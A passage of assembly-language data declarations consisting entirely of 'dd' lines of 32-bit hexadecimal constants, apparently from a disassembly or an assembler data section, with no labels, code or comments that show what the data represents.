		dd 1CE55401h, 28AC40h, 0E795324Eh, 0EAEBC64Ah, 0DB00B678h
		dd 8B91F0BEh, 4B43DAh, 768A83C8h, 2EC108CEh, 0B0015600h
		dd 0F0BFF93Dh, 0B73F3FE0h, 7B7484D0h, 6DCA0128h, 4F4270C9h
		dd 0E0990072h, 69381C9Ah, 82D40025h, 0C4371253h, 65B6FC07h
		dd 14D0A3BDh, 739523h, 7EF11EE4h, 0AAB87774h, 5F41FC0Fh
		dd 0EE18FFDh, 7ECD430h,	92D69F09h, 25645D30h, 8852012Eh
		dd 38BAAC50h, 0EA90EF12h, 0F1002247h, 7C0364FAh, 0D3D52Ch
		dd 0A4859C29h, 7A61CEDDh, 90ACA700h, 584E07CFh,	2BF33E44h
		dd 0BB808DBEh, 0FD8C1747h, 0AC001EA5h, 0DD3E3D19h, 5038B7D0h
		dd 4E78072h, 0FF9B032h,	1AED8081h, 9400DC9Fh, 17B8EADh
		dd 6A5E9Eh, 4131887Fh, 0B637DF32h, 0C99CE700h, 57FF732Bh
		dd 94B800A2h, 0D22D5E33h, 69003061h, 3E8F1242h,	76717Dh
		dd 0DAF390D5h, 0CD32290Eh, 433CD4ECh, 2A208FA3h, 0FC620D3h
		dd 2E6268h, 8090C089h, 716A1037h, 8182F300h, 7026C5C9h
		dd 6E7A00FCh, 0B0C36820h, 692806D3h, 5F2CEC7Fh,	240082FEh
		dd 86B5E887h, 7914909Bh, 6E7E00F7h, 4D508048h, 0FF73DCCCh
		dd 1B1E881Dh, 0F0BDCF81h, 0F6F89F43h, 0A6B90063h, 568EA422h
		dd 6D240339h, 358088F7h, 61B53815h, 0E0AB01BCh,	83FB6C01h
		dd 0C570707Ch, 77F4A21Dh
		dd 0ECB4E941h, 0A088AC47h, 7A90751Dh, 0D56B6580h, 0FE00E7DFh
		dd 40112B66h, 0F1B78014h, 0ADE0ECh, 1BC74D8Ah, 0BF19ABC0h
		dd 0A1EFF303h, 985993E3h, 0C2DFB81h, 0CDA02079h, 1500E7C0h
		dd 0C738A190h, 79C11CF1h, 920C0A4Ch, 0E849AE2h,	7540C99Bh
		dd 9D6BFC55h, 0D9B11631h, 0D3C1DE6Fh, 1EC87F8h,	0C3837EF6h
		dd 0C46E1AFBh, 890C82B6h, 0C80A5747h, 7C0F1D8Bh, 0DA978023h
		dd 191B0B67h, 8DA9870Ch, 27B1B3h, 3148C84Ch, 153861EEh
		dd 0E4063E0Fh, 3ABBE03Dh, 0CB027Eh, 414A1864h, 4C739892h
		dd 9B72507Fh, 471E4D71h, 57C07D15h, 0A93526C6h,	51EF002Eh
		dd 0C132F43Eh, 0B20070BFh, 0DA2D258h, 5B46AAh, 0CA0B2A09h
		dd 62B5D3DBh, 55486A0Fh, 0C5C300C6h, 0B8B6C072h, 0E234F0BAh
		dd 417A0028h, 256F15FEh, 211F6636h, 0E9C57517h,	34E8C8D9h
		dd 28ADF90Eh, 98991E20h, 30920B6h, 3BAD6E0h, 134BC12h
		dd 0C6472438h, 0D8F3E909h, 4939446Eh, 73980F2h,	1B7E149Ch
		dd 113F01EFh, 0BAE89F4Bh, 7043464h, 0B26C0600h,	1DDF3BCAh
		dd 9252001Fh, 0E21122A0h, 0DB7469D6h, 4A295F1Eh, 0A6496C80h
		dd 98286432h, 0B8FB055Ch, 700D34h, 54B9DFC8h, 0D200FA60h
		dd 0D9BD892Dh, 1C126580h, 0FA0557D4h, 2DBA780h,	546A1811h
		dd 0FE798D01h, 90EE8C8Fh, 50D094F7h, 31F98874h,	0D2786B81h
		dd 6553206Ah, 0DA061F1Eh, 1F43F95h, 0DD63D19Bh,	1080BFC5h
		dd 0AF683B4Dh, 0DC180425h, 9D29452Bh, 1D230CDFh, 0D4602F13h
		dd 0DCFC8901h, 0A2B8544Ah, 5B63EC40h, 86BA00EBh, 0D231E833h
		dd 0B6078A30h, 7CC1C540h, 0F76F3721h, 0FAAFCCh,	0C35A760Ch
		dd 53E9CE72h, 6D0B461Ch, 0C03A2D44h, 6A6E05C0h,	2ED10F34h
		dd 0AF01F79Dh, 0DCACD0B4h, 5600CC63h, 0A4FA6CBCh, 5785F0h
		dd 4FBA5FB3h, 2A5DDB82h, 53ECD700h, 1CFA517Ch, 0D1380066h
		dd 3D4696CBh, 9749C993h, 0C31B0028h, 1A0B9C42h,	0A7440328h
		dd 0A869A38h, 10D21003h, 0E039CAFCh, 939D89h, 5A6C26FBh
		dd 0C740F649h, 4E081900h, 64FD11B0h, 8221169Ch,	5058001Ah
		dd 73DDE2BAh, 3A483238h, 0E93D62h, 3AB77D42h, 78CB0Eh
		dd 0C1E105D3h, 0C93EF821h, 85CCFD00h, 0A0092B44h, 0FCD51EDFh
		dd 5EE030Ah, 5DF05E6Ch,	7E002892h, 0E031C909h, 1E1A84A7h
		dd 0C1131FFDh, 0C604872Fh, 7730306Eh, 0CC75200h, 6D59F29Ch
		dd 2B6000F6h, 0F870BAAAh, 0C002163Ch, 11819A8Ah, 0CC4CFCh
		dd 286DA34h, 103737Fh, 0A846491Fh, 0FA9669C0h, 0CD40AFh
		dd 77E005D2h, 94C0F941h, 7A495601h, 8ED84BA0h, 3C44DBC0h
		dd 1338A99Bh, 58CB0C80h, 918A05Fh, 28559E00h, 0A9FD371Fh
		dd 44BF0005h, 19E8DC92h, 707E1C6h, 64F263C9h, 0E04180B2h
		dd 20EBFA3h, 88BB5BB1h,	6868532Eh, 27009AA2h, 0C019C548h
		dd 66F211h, 0DD9EA026h,	24D19695h, 1C162048h, 2940BD7Ch
		dd 0D590E9CFh, 61390025h, 0B1897705h, 0D800C635h, 2A166283h
		dd 4642156h, 59F92C60h,	0DB13BB58h, 0B98D0440h,	750CDA33h
		dd 0E3A7AEDh, 8B7CB83Bh, 810C263Fh, 4E0E74B1h, 5866F843h
		dd 815D08CEh, 0CDCBE012h, 420A4880h, 0F5915B1Ah, 93035200h
		dd 4EF75495h, 287A3BDDh, 0E014FDBEh, 3D2618CCh,	420E3B5Ch
		dd 58205AF3h, 0D9C40CFFh, 28C021C3h, 8733A0D8h,	0ED4400D5h
		dd 40EED784h, 98A85AF5h, 0CD1DCEDEh, 35872AB5h,	30A04ABAh
		dd 508B7FB8h, 50AF6080h, 6091789Fh, 0E3F3A0C5h,	9756832h
		dd 8F467600h, 55E85669h, 9C313EC7h, 114DA100h, 0A7993A8Eh
		dd 363B1913h, 38DC1900h, 1077Bh, 2E6FF2AAh, 32D3C386h
		dd 0D48338h, 44E921E8h,	0B4C6D7h, 0E7A70A84h, 0A84727C9h
		dd 0C4054900h, 820D6A4Ah, 0DEB30ED5h, 21200637h, 0FE543CC5h
		dd 431AAD00h, 4802381Fh, 0C1490005h, 0EE660E11h, 7FB0E4EFh
		dd 0BD9EE207h, 0B02A87D3h, 68149300h, 7CC74F56h, 0E30914B7h
		dd 7C0CBC73h, 0F5184B0Ch, 0C2DDDB10h, 0CE2DE618h, 8515C174h
		dd 900D76h, 1F2362Ah, 3E52D593h, 53BA8B5Bh, 83212634h
		dd 0F4D8F28Fh, 0D0006A0Ah, 8AEC5AA6h, 500C4C0Bh, 41653429h
		dd 5FD410D8h, 9C757C13h, 862D20C9h, 20CD7Dh, 62261E19h
		dd 1C58F09Fh, 2F231018h, 785FE010h, 0EF5A001Bh,	15C4FE75h
		dd 0B600C834h, 2F553AF3h, 87231Ch, 0A551AB14h, 0BC8DC3A4h
		dd 1A7A6607h, 0AA933931h, 5A4AB861h, 0F424500Fh, 11F9006Ch
		dd 484BE9D4h, 330F7227h, 0C061F83Fh, 56916E54h,	75C500D0h
		dd 0BC0E9969h, 26001247h, 3DD9FA2Ah, 76BA2DA8h,	53B060h
		dd 3EF072BEh, 9F100228h, 34260700h, 0A9C96C03h,	0E3CF0058h
		dd 0A65FB26Bh, 13005CADh, 74B64FF3h, 76157519h,	0AC68000Ah
		dd 0AA793D78h, 9B007D27h, 0E7CBB490h, 7E100CE9h, 9ACD0008h
		dd 7A47E844h, 88F266E5h, 3177B2FEh, 8150803Dh, 0E2EE3B85h
		dd 90C09B9Dh, 70F659h, 0F9D48D19h, 409F97D9h, 0DC91B400h
		dd 0F5A8DE05h, 13991DC0h, 0B0C840DFh, 0D3DD899Ah, 98AE3900h
		dd 0D6C2B5A3h, 0FD3F00BDh, 0DB9E5193h, 6F00E9F6h, 0B562563Ah
		dd 5C9DE5A2h, 29009524h, 4453171Fh, 4A03C560h, 0F547A7F9h
		dd 0CC91E0BDh, 0A33300D3h, 605045B6h, 8128DED6h, 6B0070F8h
		dd 0BE0613AEh, 188B1FE2h, 408649C0h, 92409027h,	40FD0081h
		dd 0AF6FD2D6h, 5C006D42h, 3C33110Dh, 0FC81F337h, 50C00070h
		dd 95ED7F25h, 0D73DE6E8h, 4F1F0714h, 9AC027F9h,	3AC68D8Eh
		dd 53C8A813h, 2C352A00h, 0BA03043Eh, 7000A27Bh,	0CA78C71Fh
		dd 341729h, 39D5A87Ch, 0CE58BEE8h, 41EC0600h, 0F8A99D28h
		dd 6F490118h, 95E96073h, 0CC0C20AEh, 0DF004875h, 711EAC91h
		dd 58FA5Fh, 344DFC41h, 1D9DD8D4h, 46634000h, 0CC2A039h
		dd 1C7C00D9h, 3CE36BACh, 947650FCh, 3A054B70h, 994F0C9Ah
		dd 0A408FC41h, 0B0E4E645h, 0A606006Bh, 56D3104Ah, 985055BDh
		dd 0D520239Ch, 0D0C30090h, 2171FFFAh, 3C00B3B0h, 6045424Ch
		dd 34056Fh, 8394D436h, 38FA9F9Eh, 0D60E3703h, 36CE376h
		dd 8B2FB471h, 94E0FCCFh, 7904C1F3h, 0EE45E859h,	7798FE80h
		dd 204100CCh, 0B391E41Ah, 36001694h, 0DDCEBCFFh, 0EBB2469h
		dd 29029B56h, 0AF28176Ch, 2D307B7Ch, 0D0C0A9F9h, 0FD7BFCh
		dd 2CB7B01Fh, 0EB07801Ah, 33529700h, 47149A12h,	2DD71E5Eh
		dd 0E83EC045h, 90C3F091h, 24002575h, 893185E4h,	8F3B0Bh
		dd 67AE8E92h, 955C34DBh, 825F4500h, 4C77592Eh, 0C9598B9h
		dd 0DBFE221h, 5CF25D30h, 4DD9D401h, 0F969C41Dh,	8CECFCC5h
		dd 57030FCFh, 0FEE0618Bh, 0FADF9DFBh, 0A3559324h, 3B35833Fh
		dd 0CB5CC209h, 0CC1598E2h, 0D4952416h, 0A8940008h, 3556A27Ah
		dd 22748876h, 14985F90h, 5239700h, 0C3F0626h, 27C6008Eh
		dd 0D16BAF08h, 0BA0EDD80h, 663929A6h, 0EEA81E74h, 9D190083h
		dd 0D878E028h, 0D938C8BBh, 372780A4h, 2934022Eh, 0AFE0C0BCh
		dd 0AD941FBFh, 0C2D65600h, 9740F264h, 0CA62785h, 0D0A8CFD0h
		dd 3D00177Fh, 882D3A47h, 121A89Dh, 144FAF74h, 694DAEh
		dd 0F995E101h, 3224E4h,	5D5171D8h, 31AC34B7h, 93F11200h
		dd 2CB8EDA3h, 983DE021h, 148B3914h, 0BF7D2580h,	0E419C949h
		dd 0BD15A93Bh, 1ACD808Fh, 0DF6E4D66h, 0B42E003Eh, 1BE3ABA5h
		dd 2800300Ch, 0FCE41741h, 600EC835h, 682FB11Ch,	8B00226Ah
		dd 0FE5B2576h, 3B0DB79Bh, 100D216h, 236231B1h, 0BA00CF12h
		dd 0C8A3E05Ah, 438987h
		dd 2C3E754Ch, 8FF5EB04h, 0E90F8673h, 0E799C524h, 0F14034DFh
		dd 4848C33Ch, 3800FA95h, 1961C48Fh, 7E07844Ch, 237CB29Eh
		dd 923681E0h, 0AE523CE7h, 0FA26DF00h, 0F80161A9h, 8994E600h
		dd 1A665E85h, 0B05A0065h, 26AF5441h, 6F00906Eh,	9C43EA57h
		dd 75F4729Bh, 8F0B004Bh, 0AA32792Fh, 0C9079589h, 82926A09h
		dd 1ADF8730h, 0C4B70014h, 4498F33h, 8C0037DDh, 0D1AD1135h
		dd 1DACAABh, 2853B373h,	0E48F3AAAh, 2C0094BFh, 1CFA224Dh
		dd 3C7C99h, 3E9C47E4h, 0D1C3A2C1h, 75F89600h, 0D3BB2B28h
		dd 605E093h, 0B0EB1DBAh, 0CD0A9430h, 92B3F5C5h,	0E6A6E400h
		dd 3B9535Ah, 0DBDE412Eh, 3800CBBEh, 38E1A3FEh, 1CDFB4h
		dd 0EB109DD9h, 0DA03B7CAh, 0BE63D300h, 0C4E45152h, 600B0008h
		dd 3B7FEA14h, 0BB30D054h, 0D84C29D5h, 73C80FA9h, 8F67CBE8h
		dd 0A800B9BAh, 6C97AE81h, 1D246200h, 0C34FAB3Dh, 0D61A6021h
		dd 0AE734CA3h, 0B7A0E003h, 806DAD17h, 2649405Ah, 632F4Fh
		dd 64AE1BB3h, 3E004B03h, 0D3B52F5h, 0E2A6C6h, 0DCF6539Ch
		dd 74402D66h, 0D84D6B90h, 1A4A01ECh, 0FA7E7775h, 98F95C34h
		dd 47D70126h, 0E5354561h, 0EE188E94h, 5FD8C00Fh, 0A39FB895h
		dd 9CABA0D0h, 0D3CD3C4Dh, 0A0107D31h, 0F7E0C5Dh, 0D791475Ch
		dd 0A971C61Fh, 501D181Bh, 7C4C95BAh, 17979E6h, 8802EFD2h
		dd 0E12ACD6Ah, 450840BAh, 0CC0041DCh, 104DF968h, 0C31BD919h
		dd 0B211A280h, 608014D2h, 54D8D263h, 80769200h,	0D4CB8C2Ch
		dd 2A4B003Ch, 871D5B67h, 1B7819C7h, 0AFC99707h,	6C141471h
		dd 0A5D098C0h, 0A3EC2CCCh, 0BB9D03C1h, 9C8A9F4h, 0C0004CBDh
		dd 0B61BC975h, 0FC2F9Fh, 0D98EB082h, 0D67EE55Dh, 44CE6A01h
		dd 20FFB6ECh, 636130h, 467371EDh, 2886D40Ch, 69477B1Fh
		dd 0BBC15180h, 7A7B607h, 0FE3AE475h, 0B5BEA089h, 3600E89Ah
		dd 24DF74ABh, 7F734E95h, 6A7449h, 3F9C0C6Dh, 9A4F219h
		dd 0B7ACA100h, 0B4AD1511h, 0B7344CCAh, 509E2817h, 442F434h
		dd 0AB0D17C3h, 0D1E463E0h, 47F319C0h, 64C6FD0h,	52D87562h
		dd 0E663083Ah, 88CF9421h, 30973396h, 4B51CD1Ah,	811E9980h
		dd 4500D789h, 0EAD50C6h, 0E49600D9h, 0DEDC2890h, 150C435Fh
		dd 38D87EB6h, 404A2519h, 8D4E5280h, 30C01A3Dh, 0D699FBCBh
		dd 8012180Fh, 4AD320FAh, 0A27CA414h, 3868F220h,	1800198Fh
		dd 0A9C75605h, 0A8E55EEEh, 11D04074h, 882A4C72h, 289180D9h
		dd 35D242D0h, 83D40400h, 0AC3A181Ch, 250D602h, 27179C88h
		dd 40CA8484h, 0ECAA1512h, 1D4A0C95h, 3690A456h,	0C6A5CD0Ah
		dd 7080BC8Fh, 1A4C126Eh, 0FAF90C29h, 0A8089911h, 775221C0h
		dd 1637812h, 984BFDB3h,	8EF99039h, 0C2E150E8h, 0C97757BFh
		dd 7BD0701Ch, 0ECE3542Dh, 0B68000Eh, 0B86D119Ah, 554879D7h
		dd 89524E8h, 0B602381h,	0C1EDC04Ah, 0FE73BC10h,	0F800D17Dh
		dd 35D962EAh, 0CD49602h, 0B91AAD4Ah, 447034C8h,	0CE79326Eh
		dd 9B9A0307h, 0FF9031CDh, 0D417E181h, 0A26366CEh, 0D0B9D1h
		dd 6E6A6469h, 0D658AAA3h, 5C00497Eh, 159A9D04h,	0F20A0609h
		dd 0DB930325h, 0DD184469h, 7D51D1D0h, 0AF79A200h, 955E64AAh
		dd 5D881243h, 0A4380175h, 80DBA616h, 1DEC8738h,	989F26h
		dd 0A34638E4h, 7B66CB78h, 4DE58200h, 0F2F61A09h, 14187DA8h
		dd 0ACE3F019h, 0E6B53C06h, 0E8B0E8C5h, 2CEA8424h, 0A803658Eh
		dd 0B6FC008Dh, 5845C41Bh, 80A56930h, 0C0CE1C97h, 6515D4E1h
		dd 48CCB47Ah, 7AB0785Fh, 13CB005Bh, 0CC7EE7F8h,	0EA005D23h
		dd 45B88579h, 95F7FE1h,	0AABAB54Ch, 28196020h, 5C925791h
		dd 1C86627Ah, 0D16ED04Ch, 0ACDE884Ah, 0E3CF00D1h, 0C689AFC0h
		dd 48B62300h, 161D2FA2h, 26BD0F17h, 9783CF93h, 0E010DE0Dh
		dd 54508D1Ch, 75048CA2h, 911A4112h, 5120AC62h, 4E127Eh
		dd 64BAAF6h, 8BC2C698h,	28499212h, 0B506BC5Ch, 0A0D8BD16h
		dd 0C00850D8h, 37878118h, 0E710A9ADh, 0F89039CBh, 66169FC1h
		dd 88EC44D4h, 583E0734h, 44E2C595h, 17D4680h, 119C0B6Ah
		dd 0D0CB95Dh, 38399140h, 67800B62h, 8613B0EEh, 0D5E01956h
		dd 22179B06h, 4E195F1h,	68478588h, 0BF70C781h, 589B0C91h
		dd 3048816Bh, 17E1E215h, 9E528C4Ah, 16523DCh, 4C71D04Dh
		dd 20D61972h, 0A5CFD596h, 0BA2A5600h, 5308D484h, 6523004Eh
		dd 98D419Bh, 0D8504A2Eh, 72567888h, 7A2380h, 119B0B67h
		dd 0E186B865h, 0C5F3810h, 8117E638h, 8474B34Bh,	5180E8E5h
		dd 6479773Ah, 19006653h, 0D37CEDDFh, 685628h, 0F96A67C4h
		dd 8DCC447Fh, 9708B218h, 45E5C8F9h, 0E2283255h,	38F630E5h
		dd 0ED181601h, 1210554Ah, 0D38048F6h, 40177997h, 27024CD2h
		dd 0CC497AABh, 0B018420Dh, 144562B8h, 0D4A63D50h, 71F74600h
		dd 0E561AEF9h, 6971D560h, 5C2C846Bh, 6F00DAE4h,	59750A54h
		dd 3902D9B0h, 0B8DED563h, 0AC3848CBh, 69A3019Bh, 951A9945h
		dd 0B509984Dh, 0A58C21h, 50420CA3h, 7B9D89C3h, 36C8AB02h
		dd 48A4F18Eh, 1F9EB24h,	90E9772Bh, 0D9E0FBB4h, 7E6BF022h
		dd 8F609C01h, 0CC5311B8h, 0D206FC23h, 0D8C83665h, 874A1D07h
		dd 0AFCE5976h, 0A2AC89B5h, 65AAFC14h, 60E5E410h, 0B888C571h
		dd 15A4A423h, 0A4CAB502h, 0D41B2000h, 424362DEh, 0E621400Ch
		dd 0A629E2h, 80B7507Ch,	25865745h, 0C746C500h, 5CF836D1h
		dd 1E9A0205h, 560EE842h, 0E7648447h, 61A50C61h,	704AF100h
		dd 683F45E4h, 84EC5129h, 0FAAAFE18h, 30A158C2h,	40081272h
		dd 64F7C91Ah, 7B4E40A4h, 5CB98612h, 0E38C84D8h,	0C960E508h
		dd 0BA21A811h, 5F90093h, 0A05B999Dh, 4B187C6Dh,	9B5117F5h
		dd 0E14B943h, 4D47ACB5h, 4C868F4Ah, 65FA19CBh, 32012499h
		dd 1A5E3E0Fh, 0FD174184h, 84DC8E9Ch, 0BE629295h, 18CA1443h
		dd 0D082B089h, 80ABB5Eh, 46154902h, 124869C2h, 0E33F1440h
		dd 7FA1004Bh, 0E523CA16h, 51E3D479h, 0D6D56284h, 98047C4Ch
		dd 0A14568A3h, 8B20C062h, 22A3A2h, 48FED2B7h, 116489CDh
		dd 8028E548h, 71412F88h, 0B4400F0h, 0D4400DA4h,	0E4CF987h
		dd 97B30044h, 0AD51FC05h, 5D507A06h, 0E97A6CE4h, 0C0D77900h
		dd 8DD6BB00h, 3306164Bh, 1B432E44h, 3FCB1014h, 373C8007h
		dd 1E11B966h, 19D0604Eh, 2931FA96h, 50EEB426h, 5D678004h
		dd 0E5A204A3h, 10703931h, 0D1880B1Ah, 3200DB79h, 58445B6Bh
		dd 914CB912h, 0EB124C01h, 28988883h, 0F776F8CDh, 41D46324h
		dd 20931709h, 0CA031108h, 0B59A0032h, 6B7ADF14h, 0BA2A7CAEh
		dd 3360B0C4h, 92AC160Ch, 4D0A0A82h, 1A0A72Bh, 683A44D9h
		dd 0BDD7F8D5h, 0F627C32Eh, 819BD009h, 0A65481Ch, 0F7B1A857h
		dd 0CDF0693Ch, 9D1F264Ah, 37C26084h, 49037828h,	5843AF89h
		dd 1BC905B5h, 2CD2E26h,	0E69645A4h, 0A344B447h,	0C4C0E167h
		dd 0D2D841A4h, 4A6C00E5h, 753112E1h, 0CE406B5h,	622070B4h
		dd 50411CDCh, 0CF4647Dh, 40519BF1h, 2FB0B60Eh, 0B32BC049h
		dd 92D2973h, 27E5B806h,	0B402548Bh, 7C626C96h, 68821842h
		dd 9A18B929h, 456A11A3h, 80B48891h, 9DA3A48Dh, 0E3034B06h
		dd 75884585h, 0E7880699h, 0A0F3BA05h, 0A0CCE42Ah, 0EBC01007h
		dd 64709BD6h, 3D79B6FBh, 4CA647CFh, 0CE7C5830h,	9A01C52h
		dd 2048DE17h, 0E6A0B534h, 30209879h, 5239BBB8h,	2700CA64h
		dd 0E27F5893h, 187D5AACh, 6EE51F38h, 36184109h,	1331BDB9h
		dd 0F70400CFh, 34F6E337h
		dd 4501E235h, 0A24703B7h, 6281AEC9h, 4C9F8DAFh,	1686267h
		dd 3C5E7F66h, 22F9EC75h, 99CB6474h, 0A707BA30h,	3223CFE2h
		dd 1866CD08h, 9D02D446h, 0C9456BA3h, 8600B09Ch,	0CD74A3A7h
		dd 7533364h, 9CAEC8DAh,	80945A58h, 7266CFA2h, 9630B53Eh
		dd 71188B0h, 0B6B4034Ah, 0C01BB791h, 76E92414h,	0DD8804CCh
		dd 0A4C71543h, 0B6BC098h, 4521119Fh, 9120BDB9h,	63243Bh
		dd 0D82F4D39h, 13D06204h, 409B2C81h, 0BDB38EB4h, 464C24DDh
		dd 89211DAFh, 0F244529Dh, 54C0989Ch, 1263CC59h,	1DD9120Eh
		dd 1C7C00Ch, 0AE4A7B61h, 84A20926h, 39584584h, 2E1D6890h
		dd 1F8701FCh, 4B20CF93h, 0AD80C869h, 44812C94h,	8D3A3B8h
		dd 2911204Eh, 7ECD8183h, 0F059DD5h, 41306AA4h, 62BC418Ch
		dd 0FB084005h, 27FA3B94h, 0ACE5971Ch, 0D40098A8h, 7565C080h
		dd 0C62032h, 218C5E13h,	8AE77DA1h, 56914600h, 34CB6F5h
		dd 1520185h, 0ABF3EEE1h, 0F00FDD3Bh, 0AE0CB518h, 0ACBD26E7h
		dd 0DBCA00A9h, 150CD0E9h, 70017F5Dh, 0D32EFF68h, 0C02AA2ECh
		dd 0B942E961h, 0D67AC607h, 60FEDC5Dh, 927F3A1Ch, 0B5640E6Eh
		dd 0A680C5A2h, 76E41A22h, 0FA84B800h, 65C6ECAFh, 438B00BDh
		dd 49EA0426h, 0B30023A5h, 5F3F7D91h, 4EDC42h, 2C95ED87h
		dd 0CC3659E8h, 181C6F3Bh, 0F540E40Fh, 0CB4D0001h, 7AABAF53h
		dd 123858C5h, 34558060h, 0A7A2B4C1h, 1E75001Dh,	6138B5EBh
		dd 0DC022E1Bh, 0D973BDD8h, 48B6E0F9h, 7AAD00E2h, 0A1BC494Fh
		dd 0A20014C2h, 5A383078h, 6147B4h, 0E080297Dh, 0CB11C0EDh
		dd 54244Ch, 475BFF14h, 0DB4453h, 67A7CF33h, 9F16571Eh
		dd 1D8BAB0Fh, 0E0EEAEEAh, 48D40C69h, 2BBE07D0h,	0C04D40AFh
		dd 1B3ACB7Ch, 0E9876801h, 359A6ACAh, 2229C4h, 6EE53B17h
		dd 1D544D36h, 40614326h, 54824ABAh, 64C08049h, 5F2FD0h
		dd 883E02ACh, 8F18A1E9h, 365A9412h, 38CA0h, 0E87F46C0h
		dd 0DFE9606Ch, 0CC00C894h, 31C8D51Eh, 0A8D30155h, 0FE5A2B7Dh
		dd 157BF895h, 8C501860h, 4AEB17h, 5063A62Eh, 8D145940h
		dd 0DFAE0400h, 0BC8BDD9h, 0DC1A0BF9h, 0F0E9DBAAh, 99B5F096h
		dd 40434D00h, 60B0F161h, 8C133ACBh, 820C78A4h, 1D48062Ch
		dd 0E501E8F0h, 70FB385h, 0CAD5B98Eh, 30389C4h, 6C6084D7h
		dd 14887978h, 3600D3E6h, 70B334CFh, 2C56BB2Ah, 8990484Dh
		dd 0A850157Eh, 3C1E0EE2h, 0E080B394h, 8AB8073Fh, 7FDC1569h
		dd 98009809h, 0CADFA6D3h, 2BF80833h, 0D8C86C3Bh, 4B0E009Eh
		dd 0BC9A8160h, 0FD380072h, 0DD7E8FC9h, 4EA21AAh, 62B8A460h
		dd 7B7DB3Ah, 5551C56Bh,	0C516272Dh, 82B80424h, 0B8D5409Bh
		dd 0A07ECBBDh, 0D911CCh, 0C41ED6DBh, 0F036EC24h, 235333Ah
		dd 37A7EF7Ch, 0ACDC54A8h, 0D39B3A7Ah, 8CC87068h, 0A005B18h
		dd 0C6CE7655h, 1778D9h,	0E04A28CDh, 0B4FE0B25h,	0D14C5700h
		dd 32770210h, 8925Eh, 0A32C94BDh, 1B470D93h, 87FA7A01h
		dd 8A8C71A8h, 95E2F5E4h, 0D18E8422h, 0B9769420h, 9E24157Fh
		dd 6100D8EFh, 7308DE39h, 0C80050C4h, 0DB9B60Eh,	0E03B0A10h
		dd 6F68008Ah, 0BFAB3A6Dh, 0C4018CD8h, 0D994E61Ch, 85D43371h
		dd 87DA0031h, 0C2C63711h, 0B10F3AFBh, 0AE801BBEh, 0AD68D823h
		dd 0B2802C5h, 25A4563Fh, 72F7DC80h, 68EC8D20h, 50D86C60h
		dd 1BF396h, 0C1A0D2A6h,	493C84BFh, 13EF2E09h, 709C009Ah
		dd 6DCD43h, 0E4D2E7B9h,	2B57C4F9h, 0C5CA8E00h, 2FA018BBh
		dd 0D9813816h, 228F3B00h, 96FFB05Dh, 8F0EE00h, 0F96898C8h
		dd 13EAE4D8h, 293488h, 0FF058D95h, 0B21F2246h, 57002CB7h
		dd 0AC811326h, 3CA009DEh, 94500CF2h, 733BE38h, 0BCCC156Ch
		dd 0E4CC50A9h, 0FC587F99h, 5551FF8h, 9F43CFDDh,	532048AFh
		dd 0E076B798h, 146F3Ah,	5D77D316h, 0BA9FE7h, 8B4A2986h
		dd 90D8C4CFh, 3C788C00h, 0F0FB3B0Bh, 3A74186Ch,	50EBD01Fh
		dd 0F66D73Ah, 17A71804h, 479806AFh, 0D400202Bh,	0D84AAD11h
		dd 249EB737h, 80AC92F2h, 7DC8070h, 4B310898h, 1B19A63Bh
		dd 97EA424h, 9D53402Dh,	140ED458h, 0E1853AD1h, 1D0357FAh
		dd 1F842983h, 16E9382Eh, 0C84AFC2Dh, 6A0D8000h,	0BC43E13Ch
		dd 986D4905h, 2F4B0F7Dh, 0FA4059FCh, 0A5974532h, 2650FE0Eh
		dd 0E05DE063h, 7195A3h,	98CB3B04h, 35E7C73Fh, 56FC3D1Ch
		dd 0EF83A280h, 0D82930h, 22AA4A4Eh, 0A7E19627h,	1FA1DB00h
		dd 48B917Eh, 52F875h, 3AF093CDh, 77105B8Fh, 2497B00h, 0CA04E99Eh
		dd 4ED31CC6h, 0C8940157h, 0F4FAF465h, 48FCFDE3h, 27B51300h
		dd 35FF3781h, 95AF0025h, 0EA69CCF7h, 0EEF47265h, 30BB7B00h
		dd 0A3429140h, 0F25A01A0h, 47E7BFD1h, 0AAD320ACh, 0B27413B8h
		dd 0CA2A80E1h, 1B9D0DEBh, 23430A04h, 98D798h, 0C96835Fh
		dd 0E40069BBh, 4BFBE357h, 0B23302h, 14F4019Eh, 0C4751324h
		dd 0EA6F3800h, 185898D3h, 0F7AF00B6h, 0BDFC5FBh, 7307BFC9h
		dd 0A9E52F9Bh, 0E0636B30h, 0B60500ABh, 79E96D1h, 0A300D8BBh
		dd 0A825DC38h, 0F89D5B5Dh, 4C946019h, 51BE5EC3h, 42D3401Dh
		dd 0E0A06CC0h, 0C1EE62h, 77B781B5h, 0E1E95601h,	88CAC00h
		dd 8ECB925Eh, 4546000Ah, 0AA446604h, 2300874Bh,	0B35EEB09h
		dd 16D5A0h, 0A429AC5Bh,	0F58699F6h, 3065D100h, 8A010747h
		dd 83B300A7h, 594D265Ch, 0B6073EFAh, 7FDACCC2h,	1BDC31E0h
		dd 9918003Fh, 4F7BBAD9h, 96003E0Ch, 0F472ABFDh,	24954037h
		dd 8038DC7Ah, 68A1D57Fh, 0B5011B09h, 9B3C5086h,	3030696Dh
		dd 1EF0002Fh, 6B4BA3D7h, 0E24A1DC4h, 0E0F4EC8Eh, 7925349Ch
		dd 4B48A0D2h, 313FA2Ch,	3942F7D1h, 180FAD21h, 61A0945h
		dd 7811E097h, 146100E9h, 0C323483Dh, 8F1EC612h,	8380F88Ch
		dd 0DD5C526h, 78034884h, 6B304D00h, 25947E95h, 610A121Ch
		dd 0D4222880h, 0FE996DC6h, 5B3000F7h, 6469A44Ch, 914A7734h
		dd 0D94B40D1h, 0D7295D0h, 4594F252h, 4ADDF410h,	74993803h
		dd 7750A3Eh, 0CF95BA20h, 4B6BF007h, 0B900FA19h,	0CBF64530h
		dd 0BD7D36h, 0E3D7911Dh, 0EA33CFD5h, 0FD8AC700h, 0ADF03115h
		dd 0C1BC072Fh, 0B0469098h, 0E8AE9BC4h, 3096AF17h, 3BFC5600h
		dd 48ACCB9Ah, 5F01CFCEh, 529F9E85h, 0DEB6D4EFh,	0B7015D24h
		dd 0E32D4300h, 34B90Ch,	0BFA4BA99h, 30AA0290h, 3B01F07Fh
		dd 9766F501h, 0FFE0B35Bh, 907FEAh, 71AC3763h, 2CAEDB6Dh
		dd 52B73Eh, 0A1F3F781h,	8BD483h, 0C09AD2F6h, 0E0EC38F2h
		dd 0EF0D071Ch, 49FBD00h, 5005AAh, 59DC4EB5h, 6197D883h
		dd 46E81890h, 0AD1A3D00h, 4F631E1Dh, 7D9200D2h,	456C564Ah
		dd 0A096F950h, 7C917004h, 69029CB3h, 55119D0Bh,	2E609CF1h
